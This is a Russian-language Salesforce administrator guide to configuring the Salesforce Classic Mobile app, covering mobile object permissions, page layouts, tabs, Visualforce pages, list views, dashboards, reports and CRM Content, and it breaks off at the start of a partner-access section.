Управление устройствами в Salesforce Classic Mobile

Настройка приложения Salesforce Classic Mobile
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Редактирование свойств объекта для Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для изменения свойств
объекта Salesforce Classic
Mobile:
• «Управление

мобильными
конфигурациями»

Приложение Salesforce Classic Mobile позволяет изменять свойства стандартных и
настраиваемыхобъектов. Например, ограничениеполномочийпользователей Salesforce
Classic Mobileилиисключениененужныхполейизмобильногомакета страницыобъекта.

Свойства объекта Salesforce Classic Mobile настраиваются для каждой мобильной
конфигурации. Чтобы изменить свойства мобильного объекта, выполните указанные
ниже действия.

1. Введите строку «Конфигурация Salesforce Classic» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт «Конфигурация Salesforce Classic».

2. Выберите имя нужной мобильной конфигурации.

3. Щелкните ссылку «Правка» напротив имени нужного объекта в связанном списке
«Свойства мобильного объекта».

Связанный список содержит только те объекты, которые добавлены в набор данных
мобильнойконфигурации. Свойстваобъекта «Пользователь» немогутбытьизменены.

4. Ниже перечислены действия, доступные на странице «Редактировать мобильную
конфигурацию».

• Удаление мобильных полномочий

• Настройка макетов страниц Salesforce Classic Mobile

5. Нажмите кнопку «Сохранить».

Удаление мобильных полномочий

Приложение Salesforce Classic Mobile наследует полномочия пользователя,
предоставленныев системе Salesforce. Некоторыеадминистраторымогутдополнительно
ограничиватьполномочияпользователейдля доступа к данным Salesforce вприложении
Salesforce Classic Mobile. Дополнительные ограничения могут быть обусловлены
ограничениями приложения или вероятностью возникновения пользовательской
ошибки. Например, чтобы предотвратить непреднамеренное удаление записи в
приложении Salesforce Classic Mobile, которое инициирует удаление записи из системы
Salesforce, администраторможетдополнительноограничитьполномочияпользователей
в мобильномприложении, независимоот их полномочий для работы со стандартными
и настраиваемыми объектами в системе Salesforce. Кроме того, приложение Salesforce Classic Mobile поддерживает только
некоторыефункции Salesforce (например, элементы S-Control и кодApexнеподдерживаются). Еслиприложение Salesforce
Classic Mobile не поддерживает бизнес-процесс объекта, то обновление соответствующих записей в приложении может
быть запрещено.

Выберитеполномочия, которыедолжныбытьотменены, вразделе «Полномочия». Чтобызапретитьсоздание, изменение
или удаление записей в приложении Salesforce Classic Mobile, установите флажок «Запретить создание», «Запретить
редактирование» или «Запретить удаление».

Прим.: В настоящее время мобильные полномочия не могут быть заблокированы для объекта содержимого.
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Настройка макетов страниц Salesforce Classic Mobile

ПриложениеSalesforce Classic Mobileнаследуетмакетыстраницпользователя, используемыевсистемеSalesforce. Мобильные
макеты страниц всех объектов позволяют исключать ненужные поля, наличие которых загружает память и усложняет
процесс пролистывания страниц на мобильном устройстве.

Выберитеполяобъекта, которыедолжныотображатьсянамобильномустройстве, вразделе «Исключенныеполя». Чтобы
добавить или удалить поле, выберите имя нужного поля и нажмите кнопку «Добавить» или «Удалить».

• Администраторы могут просматривать все доступные поля объекта, независимо от параметров безопасности поля.

• Некоторыеполя являютсяобязательнымидлявзаимодействияприложенияSalesforce Classic Mobile с системой Salesforce.
Данные поля не могут быть исключены из мобильных макетов страниц, поэтому отсутствуют в списке «Доступные
поля».

• Поля, используемые в настраиваемых мобильных представлениях, не могут быть исключены из мобильных макетов
страниц.

• Все поля мобильного объекта содержимого добавляются в список «Доступные поля». Тем не менее макет страницы
сведенийо содержимом, используемыйвприложении Salesforce Classic Mobile, позволяетотображать тольконесколько
полей. Исключение полей из объекта содержимого не влияет на макет страницы в приложении.

СМ. ТАКЖЕ:

Общие сведения о приложении Salesforce Classic Mobile для администраторов

Управление конфигурациями Salesforce Classic Mobile

Управление вкладками в Salesforce Classic Mobile

Создание ссылок на веб-страницы и страницы Visualforce Mobile для приложения Salesforce Classic Mobile

Настройка приложения Salesforce Classic Mobile
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Назначение вкладок конфигурации приложения Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для настройки вкладок
приложения Salesforce
Classic Mobile:
• «Управление

мобильными
конфигурациями»

Каждая мобильная конфигурация позволяет выбирать вкладки, отображающиеся в
приложении Salesforce Classic Mobile, и определять порядок их расположения. Ниже
перечислены вкладки, поддерживаемые мобильной конфигурацией.

• Вкладки стандартных объектов

• Вкладки настраиваемых объектов

• ВкладкиVisualforceивеб-вкладки, включенныедляприложения Salesforce Classic Mobile

Внимание: Мобильныеустройстваподдерживаюттольконекоторыевеб-сайты
и функции Visualforce. Внимательно прочтите рекомендации по созданию
страниц, адаптированных для мобильных устройств, прежде чем включить
вкладки Visualforce или веб-вкладки для приложения Salesforce Classic Mobile.

По умолчанию вкладки одинаково работают в приложении Salesforce Classic Mobile и в
полнойверсиисистемыSalesforce. Например, вкладкаобъекта, скрытаяв системеSalesforce,
скрыта и в приложении Salesforce Classic Mobile.

Прим.: Мобильныеустройствапользователейпозволяютпросматриватьвкладки,
выбранныедлямобильнойконфигурации, дажевтомслучае, еслионинедобавлены
в конфигурацию. Приложение Salesforce Classic Mobile отображает вкладку,
отправленную на мобильное устройство, только при наличии у пользователя
полномочия на просмотр этой вкладки.

Есть несколько причин, по которым вкладка объекта может быть скрыта в приложении
Salesforce Classic Mobile даже после отправки записей объекта на устройство.
ПриложениеSalesforce Classic Mobile имеет намного меньшую область для отображения
строкивкладок, поэтомуколичествовкладок, доступныхдляотображенияна устройстве,
может быть сокращено. Кроме того, настраиваемые объекты могут быть взаимосвязаны
со стандартными объектами, поэтому запись настраиваемого объекта может быть
доступна посредством записи родительского объекта. В этом случае настраиваемому
объекту может быть назначена мобильность, а вкладка может быть скрыта.

Чтобы назначить вкладки мобильной конфигурации, выполните указанные ниже
действия.

1. Введите строку «Конфигурация Salesforce Classic» в поле «Быстрый поиск»
вменю «Настройка» ивыберитепункт«Конфигурация Salesforce Classic». Щелкните
имя мобильной конфигурации.

2. Чтобы определить мобильные вкладки, нажмите кнопку «Настроить вкладки» в связанном списке «Мобильные
вкладки». Если мобильные вкладки уже настроены, нажмите кнопку «Правка».

3. Чтобы добавить вкладки в мобильную конфигурацию, выберите нужные вкладки в списке «Доступные вкладки» и
нажмите кнопку «Добавить».

4. В списке «Выбранные вкладки» выберите нужные вкладкиинажмите стрелку «Вверх»или «Вниз», чтобыизменить
порядок расположения вкладок в приложении Salesforce Classic Mobile.

5. Нажмите кнопку «Сохранить».

Прим.: Смартфон iPhone позволяет настраивать порядок расположения вкладок в приложении Salesforce Classic
Mobile. Если пользователь определяет порядок отображения вкладок, то любые изменения, внесенные
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администратором в мобильную конфигурацию, пропускаются, а новые мобильные вкладки добавляются ниже
текущих вкладок пользователя.

СМ. ТАКЖЕ:

Управление вкладками в Salesforce Classic Mobile

Включение веб-вкладок и вкладок Visualforce для приложения Salesforce Classic Mobile

Общие сведения о приложении Salesforce Classic Mobile для администраторов

Управление конфигурациями Salesforce Classic Mobile

Включение веб-вкладок и вкладок Visualforce для приложения Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

Веб-вкладки и вкладки Visualforce могут быть доступны в приложении Salesforce Classic
Mobile. Чтобы гарантировать корректное отображение и функционирование
веб-страницыилистраницыVisualforceнамобильномустройстве, рекомендуемизменить
свойствавкладкииустановитьфлажок «Поддержка Salesforce Classic Mobile»

присозданиивеб-вкладкииливкладкиVisualforce. Установкаданногофлажкаинициирует
добавлениевкладкивсписокдоступныхвкладокдлямобильныхконфигурацийSalesforce
Classic Mobile.

Обратите внимание, что большинство мобильных обозревателей отличаются
техническими ограничениями, связанными с размером экрана, сценариями, скоростью
процессора и сетевой задержкой. Прежде чем активировать мобильные веб-страницы
истраницыVisualforce, убедитесь, чтоониподдерживаютсяиспользуемымимобильными
обозревателями.

Рекомендации по использованию мобильных веб-вкладок

Ниже перечислены рекомендации по определению веб-вкладок, которые должны
использоваться в приложении Salesforce Classic Mobile.

• Активациямобильныхвеб-вкладокдоступна толькодля устройств BlackBerry и iPhone.
Помните, что приложение Salesforce Classic Mobile не поддерживает мобильные
веб-вкладки для устройств Android.

• Веб-вкладки доступны только при использовании операционной системы BlackBerry 4.3 или более поздней версии.

• Вкладке должен быть назначен тип «URL-адрес». Мобильное приложение не поддерживает элементы S-Control.

• Некоторыевеб-страницысодержат JavaScript и Flash, которыеподдерживаютсяне всемимобильнымиобозревателями.

– Обозреватель Safari от компании Apple поддерживает JavaScript и не поддерживает Flash.

– Обозреватель BlackBerry поддерживает JavaScript частично и не поддерживает Flash.

• Прежде чем активировать мобильную веб-вкладку, откройте целевой URL-адрес на одном из мобильных устройств
организации и убедитесь в ее корректной работе. Если пользователи организации используют телефоны с разными
операционными системами (например, смартфоны iPhone и BlackBerry), протестируйте веб-вкладку на устройстве
каждого типа. Рекомендуем активироватьмобильнуювеб-вкладку только в том случае, еслимобильныйобозреватель
поддерживает все обязательные действия.

• Чтобы просматривать веб-страницы JavaScript на устройствах BlackBerry, рекомендуем включить поддержку JavaScript.
Сервер BlackBerry Enterprise Server позволяет администраторам BlackBerry выполнить глобальное включение JavaScript.
Чтобы включить поддержку JavaScript на устройстве BlackBerry, откройте обозреватель BlackBerry, выберите вкладку
«Параметры» > «Конфигурация браузера» и установите флажок «Включить JavaScript».
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Рекомендации по использованию мобильных вкладок Visualforce

Ниже перечислены рекомендации по определению мобильных вкладок Visualforce.

• Мобильная вкладка Visualforce доступна только для устройств BlackBerry и iPhone. Помните, что приложение Salesforce
Classic Mobile не поддерживает мобильные вкладки Visualforce для устройств Android.

• Приложение Salesforce Classic Mobileможетработать вОС BlackBerry версии 4.3—7.0.Оптимальнаяпроизводительность
мобильной вкладки Visualforce гарантируется компанией Salesforce только на смартфонах, оснащенныхОС BlackBerry
6.0 или более поздней версии.

• Чтобы оптимизировать страницу Visualforce для использования на мобильных устройствах, выполните указанные
ниже действия.

– Назначьте атрибутам sidebar и showHeader тега <apex:page> значение false. Телефоны оснащаются
небольшими экранами и ограниченной производительностью, поэтому заголовок вкладки и боковая панель
должны быть скрыты.

– Назначьтеатрибуту standardStylesheets тега <apex:page> значение false. Использованиестандартной
таблицы стилей Salesforce снижает скорость загрузки страниц на мобильном устройстве. Более того, устройства,
оснащенныеОС BlackBerry 6.0 илиболеераннейверсии, немогутправильноинтерпретировать каскадные таблицы
стилей. Чтобы добавить таблицу стилей на страницу, рекомендуем вставить раздел <style> прямо под
компонентом <apex:page>.

– Назначьте атрибуту columns компонента <apex:pageBlockSection> значение «1». Экраны мобильных
устройств не предназначены для отображения двух столбцов. Рекомендуем выбрать одностолбцовый макет,
гарантирующий корректное отображение содержимого страницы.

• Приложение Salesforce Classic Mobile не поддерживает заставки.

• Приложение Salesforce Classic Mobile вставляет страницы Visualforce на вкладки, поэтому вкладки не должны
использоваться для перемещения по мобильным страницам Visualforce.

• Если мобильный обозреватель поддерживает JavaScript на страницах Visualforce, рекомендуем использовать JavaScript
как можно реже. Медленное сетевое подключение и большое количество сценариев увеличивают время загрузки
страницы на мобильных устройствах. Чтобы сократить количество сценариев JavaScript на мобильных страницах
Visualforce, рекомендуем создавать сценарии посредством HTML.

• Все страницыVisualforce содержат JavaScript даже в томслучае, есликод JavaScript неиспользуется для создания страниц.
Чтобы просматривать страницы Visualforce на устройствах BlackBerry, рекомендуем включить поддержку JavaScript.
Сервер BlackBerry Enterprise Server позволяет администраторам BlackBerry выполнить глобальное включение JavaScript.
Чтобы включить поддержку JavaScript на устройстве BlackBerry, откройте обозреватель BlackBerry, выберите вкладку
«Параметры» > «Конфигурация браузера» и установите флажок «Включить JavaScript».

• Обозреватель, встроенный в клиентское приложение BlackBerry, не поддерживает встроенной навигации. Страница
Visualforce, используемая в качестве мастера, должна быть дополнена навигационными ссылками, позволяющими
переходить на предыдущую и следующую страницы.

• Администраторы BlackBerry должны помнить, что размер загрузки, заданный на сервере BlackBerry Enterprise Server,
определяет объем данных, которыйможет быть переданнамобильные устройства. Прежде чем развернуть страницы
VisualforceдляпользователейSalesforce Classic Mobile, рекомендуемпроверитьзаданныйразмерзагрузкиипротестировать
страницы.
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• Проверка агентапользователяможетвыполнятьсявнастраиваемомконтроллередляподдержкинесколькихустройств.
Чтобы выполнить данное действие, просмотрите соответствующий результат метода getHeaders() для ссылки
на текущую страницу.

СМ. ТАКЖЕ:

Управление вкладками в Salesforce Classic Mobile

Управление конфигурациями Salesforce Classic Mobile

Создание ссылок на веб-страницы и страницы Visualforce Mobile для приложения Salesforce Classic Mobile

Назначение вкладок конфигурации приложения Salesforce Classic Mobile

Создание спискового представления для Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра устройств и
пользователей Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для управления
настраиваемыми
представлениями Salesforce
Classic Mobile:
• «Управление

мобильными
конфигурациями»

НастраиваемыесписковыепредставлениямогутбытьсозданыдляпользователейSalesforce
Classic Mobile. Настраиваемые представления списка для приложения Salesforce Classic
Mobile (такжеизвестныекак «мобильныепредставления») отличаютсяотнастраиваемых
представлений Salesforce.

• Администраторы настраивают мобильные представления для каждой мобильной
конфигурации. Представления доступны всем пользователям, назначенным
конфигурации, и не поддерживают ограничение доступности определенными
группами пользователей внутри конфигурации. Каждому мобильному объекту в
мобильной конфигурации может быть задано не более 10 настраиваемых
представлений.

• Пользователи не могут фильтровать мобильные представления по критерию «Все
записи» или «Моизаписи». Представленияприменяются ко всемлокальнымзаписям
устройства, независимоотответственности; темнеменее, фильтрыответственности
могут применяться посредством дополнительных полей в критериях поиска.

• Мобильные представления не поддерживают логику фильтра.

• Мобильные представления ограничиваются двумя столбцами.

• Пользователи могут сортировать мобильные представления в порядке возрастания
или убывания (не более двух полей).

Каждой мобильной конфигурации может быть задано не более 10 настраиваемых
представлений на один объект. Затем данные представления передаются на устройства
пользователей, назначенных соответствующим конфигурациям. Чтобы создать
настраиваемое представление для приложения Salesforce Classic Mobile, выполните
указанные ниже действия.

1. Введите строку «Конфигурация Salesforce Classic» в поле «Быстрый поиск»
вменю «Настройка» ивыберитепункт«Конфигурация Salesforce Classic». Щелкните
имя мобильной конфигурации. При необходимости создайте мобильную
конфигурацию.

2. Прокрутите страницу вниз до связанного списка «Мобильные представления».

3. Выберитетипобъектавраскрывающемсясписке «Выбратьобъект» инажмитекнопку
«Создать мобильное представление». Раскрывающийся список содержит только
те объекты, которые добавлены в набор данных мобильной конфигурации.
Мобильные представления не могут быть созданы для объекта «Пользователь».

4. Введите имя представления.
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Мобильныеустройстваоснащенынебольшимиэкранами, поэтомумаксимальнодопустимаядлинаименимобильного
представления составляет 30 символов.

5. Введите условия, которым должны соответствовать выбранные элементы, в разделе «Определение критериев
фильтрации» (например, «"Стоимость" больше "100 000"»).

a. Выберите нужное поле в первом раскрывающемся списке.

Прим.: Представлениянемогутбытьсозданынаосновеполей, исключенныхизмобильныхмакетовстраниц,
или полей, скрытых для всех профилей и наборов полномочий.

b. Выберите оператор фильтрации.

c. Введите нужное значение в третье поле.

Внимание: Ниже перечислены рекомендации по использованию значений критериев фильтрации для
мобильных представлений.

• Полеслияния $User.IDможетиспользоватьсявкачествезначениякритерияфильтрациидляобращения
к текущему пользователю. Критерии фильтрации не могут содержать имена пользователей.

• Критерии фильтрации поддерживают только специальные значения дат, но не фактические даты.

• Критерии фильтрации не поддерживают специальные значения ФИНАНСОВЫХ дат.

d. Чтобы элементы мобильного представления соответствовали всем заданным критериям, выберите «Точные
совпадения». Чтобыэлементымобильногопредставлениясоответствовалилюбымзаданнымкритериям, выберите
«Частичные совпадения». Настраиваемые мобильные представления не поддерживают дополнительные
параметрыфильтрации.

6. Выберите поля для использования в качестве столбцов в разделе «Выбор полей для отображения».

Стандартныеполявыбираютсяавтоматически. Выберитенеболеедвухразныхстолбцовполейданныхдляотображения
в настраиваемом мобильном представлении.

7. При необходимости выберите основной и дополнительный порядок сортировки в разделе «Определение порядка
сортировки».

a. Выберите нужное поле в раскрывающемся списке «Порядок сортировки». Поля, исключенные из мобильного
макета страницы объекта, также могут использоваться для сортировки.

b. Выберите порядок сортировки: по возрастанию или убыванию.

8. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление представлениями в Salesforce Classic Mobile

Управление конфигурациями Salesforce Classic Mobile

Управление устройствами в Salesforce Classic Mobile

Настройка приложения Salesforce Classic Mobile
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Настройка мобильных панелей мониторинга для приложения iPad

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра мобильных
конфигураций:
• «Просмотр настройки и

конфигурации»

Для мобилизации панелей
мониторинга:
• «Управление

мобильными
конфигурациями»

Важное замечание: Ввыпуске Summer'15 компания Salesforce прекращаетподдержку
приложения «Мобильные панели мониторинга для iPad». Приложение может
использоватьсябез ограничений, нонебудетподдерживаться компанией Salesforce
на предмет исправления ошибок или устранения возможных неполадок. Чтобы
установить приложение Salesforce1 (новое мобильное приложение от компании
Salesforce), обратитесь к администратору Salesforce.

Чтобы вкладка «Панелимониторинга» была доступна в Salesforce Classic Mobile, добавьте
ее во вкладки мобильной конфигурации. Мобильные панели мониторинга позволяют
пользователям отслеживать ключевые показатели и индикаторы эффективности
компании за пределами офиса.

Нижеперечисленырекомендациипоиспользованиюмобильныхпанелеймониторинга.

• Вкладка «Панели мониторинга» мобильного приложения открывает встроенный
обозреватель для отображения панелей мониторинга.

• Мобильные панели мониторинга отображаются одним столбцом ввиду
ограниченного размера экрана.

• Ссылки на сведения настраиваемых отчетов отключены в мобильных панелях
мониторинга.

• При первом просмотре вкладки «Панели мониторинга» в Salesforce Classic Mobile
мобильноеприложениезапрашиваетусистемыSalesforceпоследнююпросмотренную
пользователем панель мониторинга. Время загрузки панели мониторинга
определяется уровнем сигнала Wi-Fi или мобильной связи.

• Мобильное приложение не поддерживает автоматическое обновление панелей
мониторинга. Пользователи могут запрашивать обновление панели мониторинга
путем нажатия кнопки «Обновить».

• Мобильное приложение позволяет работать в автономном режиме. При отсутствии беспроводного подключения
пользователи могут просматривать последнюю просмотренную панель мониторинга, но не могут обновлять или
изменять панель мониторинга.

• Мобильные панели мониторинга доступны только при использовании операционной системы BlackBerry 4.5 или
болеепозднейверсии. Мобильныепанелимониторингаподдерживаютверсию 4.3, ноихтаблицымогутотображаться
некорректно.

• Администраторы BlackBerry должны помнить, что размер загрузки, заданный на сервере BlackBerry Enterprise Server,
определяет объем данныхпанелимониторинга, которыйможет быть передан на мобильные устройства. Прежде чем
развернуть панели мониторинга для мобильных пользователей, рекомендуем проверить заданный размер загрузки
и протестировать панели мониторинга.

Прим.: Внастоящеевремяпанелимониторингаподдерживаютсятолькомобильнымиклиентскимиприложениями
BlackBerry и iPhone.

Чтобы включить мобильные панели мониторинга, выполните указанные ниже действия.

1. Введите строку «Мобильные панели мониторинга» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
<b>«Параметрымобильных панелей мониторинга»</b>. Щелкните имя мобильной конфигурации.

2. Чтобы определить мобильные вкладки, нажмите кнопку «Настроить вкладки» в связанном списке «Мобильные
вкладки». Если мобильные вкладки уже настроены, нажмите кнопку «Правка».
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3. Чтобыдобавитьвкладкувмобильнуюконфигурацию, выберитевкладку«Панелимониторинга»всписке «Доступные
вкладки» инажмитекнопку«Добавить». Список «Доступныевкладки» содержитвкладкистандартныхинастраиваемых
объектов. Кроме того, список содержит веб-вкладки и вкладки Visualforce.

Внимание: Если вкладкимобильной конфигурации еще не настроены, выберите все вкладки, которые должны
отображаться в мобильном приложении, а не только вкладку «Панели мониторинга».

4. Чтобыопределитьпорядокотображениявкладки «Панелимониторинга» вмобильномприложении, выберитевкладку
«Панели мониторинга» в списке «Выбранные вкладки» и нажмите кнопку «Вверх» или «Вниз».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile

Включение отчетов в приложении Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
общедоступных папок
отчетов:
• «Управление

общедоступными
отчетами»

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Чтобы включить отчеты в приложении Salesforce Classic Mobile, выполните указанные
ниже действия.

1. Создайтепапку «Мобильныеотчеты» всистемеSalesforce. Щелкните«Создатьпапку»
на начальной странице вкладки «Отчеты» в полной версии системы.

2. В поле «Папка отчетов» введите: «Мобильные отчеты».

Сервер загружает отчетынамобильные устройства только в том случае, еслиданной
папке заданоимя «Мобильные отчеты». Преждечемсохранитьимяпапки, проверьте
орфографию. Имена папок Salesforce могут повторяться. Пользователи Salesforce
Classic Mobileмогутпросматриватьлюбыеотчеты, хранящиесявовсехпапкахсименем
«Мобильные отчеты», если доступ к папкам не ограничивается параметрами
доступности.

3. Выберитепараметр «Доступ к общедоступной папке». Данныйпараметрне влияет
на возможность пользователей мобильного приложения запускать отчеты.

4. Чтобы сохранить изъятые отчеты в папку «Мобильные отчеты», выберите нужные
отчеты и нажмите кнопку «Добавить». При необходимости отчеты могут быть
добавлены после сохранения папки.

5. Выберите параметры доступности папки.

• Параметр «Данная папка доступна всем пользователям» позволяет всем
пользователяморганизациипросматривать списокмобильныхотчетовна своих
устройствах.

• Параметр «Данная папка доступна только следующим пользователям»
позволяет предоставлять доступ ограниченному кругу пользователей.

Рекомендуемназначатьпапке «Мобильные отчеты» статусличнойтольков том
случае, если мобильные отчеты должны быть скрыты ото всех пользователей.

6. Нажмите кнопку «Сохранить».

7. Добавьте отчеты в папку «Мобильные отчеты». Щелкните имя нужного отчета на
начальной странице вкладки «Отчеты», нажмите кнопку «Сохранить как» и
сохраните отчет в папку «Мобильные отчеты».
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Чтобы упростить просмотр отчета на мобильном устройстве, измените параметры сохраненного отчета. Например,
сократите количество столбцов или введите дополнительные критерии фильтрации.

8. Добавьте вкладку «Отчеты» в мобильную конфигурацию. Введите строку «Конфигурация Salesforce Classic»

в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Конфигурация Salesforce Classic». Щелкните имя
мобильной конфигурации.

9. Чтобы определить мобильные вкладки, нажмите кнопку «Настроить вкладки» в связанном списке «Мобильные
вкладки». Если мобильные вкладки уже настроены, нажмите кнопку «Правка».

10. Чтобы добавить вкладку в мобильную конфигурацию, выберите вкладку «Отчеты» в списке «Доступные вкладки» и
нажмитекнопку «Добавить». Список «Доступныевкладки» содержитвкладкистандартныхинастраиваемыхобъектов.
Кроме того, список содержит веб-вкладки и вкладки Visualforce.

Внимание: Если вкладкимобильной конфигурации еще не настроены, выберите все вкладки, которые должны
отображаться в приложении Salesforce Classic Mobile, а не только вкладку «Отчеты».

11. Чтобы определить порядок отображения вкладки «Отчеты» в приложении Salesforce Classic Mobile, выберите вкладку
«Отчеты» в списке «Выбранные вкладки» и нажмите кнопку «Вверх» или «Вниз».

12. Нажмите кнопку «Сохранить».

Прим.: В настоящее время приложение Salesforce Classic Mobile не поддерживает отчеты на устройствах Android и
iPhone.

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile
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Настройка Salesforce CRM Content для приложения Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления наборов
данных Salesforce Classic
Mobile:
• «Управление

мобильными
конфигурациями»

Ниже перечислены рекомендации по внедрению Salesforce CRM Content в приложение
Salesforce Classic Mobile.

• В отличие от связанных файлов, записи содержимого синхронизируются с
устройством. Данныйалгоритмпозволяетпользователямдоставлять содержимоеиз
приложения даже в том случае, если размер файла, загружаемого на мобильное
устройство, превышает установленные ограничения.

• Приложениенеподдерживаетпоиск конкретнойчасти содержимого. Пользователи
могут толькопредоставлятьобщийдоступк содержимомуна вкладке «Содержимое»,
которое автоматически синхронизируется с устройством на основе фильтров
назначенной мобильной конфигурации.

• Приложение не поддерживает просмотр списка подписанного содержимого.
Пользователи не могут фильтровать список записей на вкладке «Содержимое» на
основе отдельной библиотеки.

• Приложение поддерживает предварительный просмотр и общий доступ к
содержимому, но не поддерживает обновление файла, связанного с записью
содержимого. Пользователи могут редактировать поля на странице сведений о
содержимом только при наличии обязательных полномочий.

• Предварительныйпросмотридоставкасодержимогодоступнытолькоприналичии
информационного подключения. В противном случае, пользователи могут
просматривать только страницу сведений о содержимом.

• Содержимое в приложении Salesforce Classic Mobile поддерживается только
устройствами BlackBerry и iPhone.

• Содержимое недоступно в бесплатной версии приложения Salesforce Classic Mobile.

• Мобильные полномочия не могут быть заблокированы для объекта содержимого.
В настоящее время объект содержимого доступен в приложении Salesforce Classic
Mobile только для чтения.

• Мобильный макет страницы для объекта содержимого не может быть изменен.
Страница сведений о содержимом запрограммирована на отображение нескольких
полей.

Чтобы настроить Salesforce CRM Content для конфигурации Salesforce Classic Mobile,
выполните указанные ниже действия.

1. Введите строку «Конфигурация Salesforce Classic» в поле «Быстрый поиск»
меню «Настройка» и выберите пункт «Конфигурация Salesforce Classic», затем щелкните по имени мобильной
конфигурации.

2. Нажмите кнопку «Правка» в связанном списке «Наборы данных».

3. Нажмите кнопку «Добавить...».

4. Выберите «Содержимое» во всплывающем окне и нажмите кнопку «OK».

5. Чтобы выбрать синхронизированные записи содержимого, воспользуйтесь фильтрами поля.

Пользователи не могут выполнять поиск содержимого в приложении Salesforce Classic Mobile, поэтому рекомендуем
настроитьфильтры, позволяющиепросматриватьна устройстве важное содержимое. Фильтрынемогутбыть созданы
на основе библиотек или подписок. Ниже перечислены некоторые рекомендации по настройке полезных условий
фильтра.
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• Дата: выполните фильтрацию по полю «Дата последнего изменения», «Дата изменения содержимого» или
«Дата создания». Чтобы синхронизировать недавно обновленные записи содержимого, воспользуйтесь
специальными значениями дат (например, «ПОСЛЕДНИЕ 90 ДНЕЙ» или «ПОСЛЕДНИЕ 180 ДНЕЙ»).

• Ответственный: выполните фильтрацию по автору при наличии пользователей организации, ответственных
за публикацию содержимого.

• Типфайла: выполните фильтрацию по определенным типам документов. Например, группа, работающая с
возможностями, может просматривать только презентации или PDF-документы.

• Настраиваемые поля: выполните фильтрацию по настраиваемым полям при наличии настраиваемых полей,
предназначенных для категоризации содержимого. Например, при создании поля «Функциональное
использование» со значениями раскрывающегося списка настройте условие фильтра «"Функциональное
использование" равно "Продажи"».

6. Чтобыпредотвратитьиспользованиевсейпамятимобильногоустройства записямисодержимого, установитевторой
переключатель в разделе «Задать максимальное ограничение записи» и введите максимальное количество записей
содержимого, котороеможетбытьпереданоданнойконфигурациейнамобильныеустройства. Чтобывыбрать записи,
подлежащиесинхронизацииприпревышенииограниченияразмераданных, заданногодлямобильнойконфигурации,
воспользуйтесь раскрывающимися списками «Порядок сортировки» и «Сортировать».

7. Нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile

Начальная настройка Salesforce CRM Content
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Настройка доступа Salesforce Classic Mobile для пользователей-партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций, наборов
данных, мобильных
устройств и пользователей
Salesforce Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления конфигураций
и наборов данных
Salesforce Classic Mobile,
тестирования мобильных
конфигураций,
редактирования свойств
мобильного объекта и
управления мобильными
настраиваемыми
представлениями.
• «Управление

мобильными
конфигурациями»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
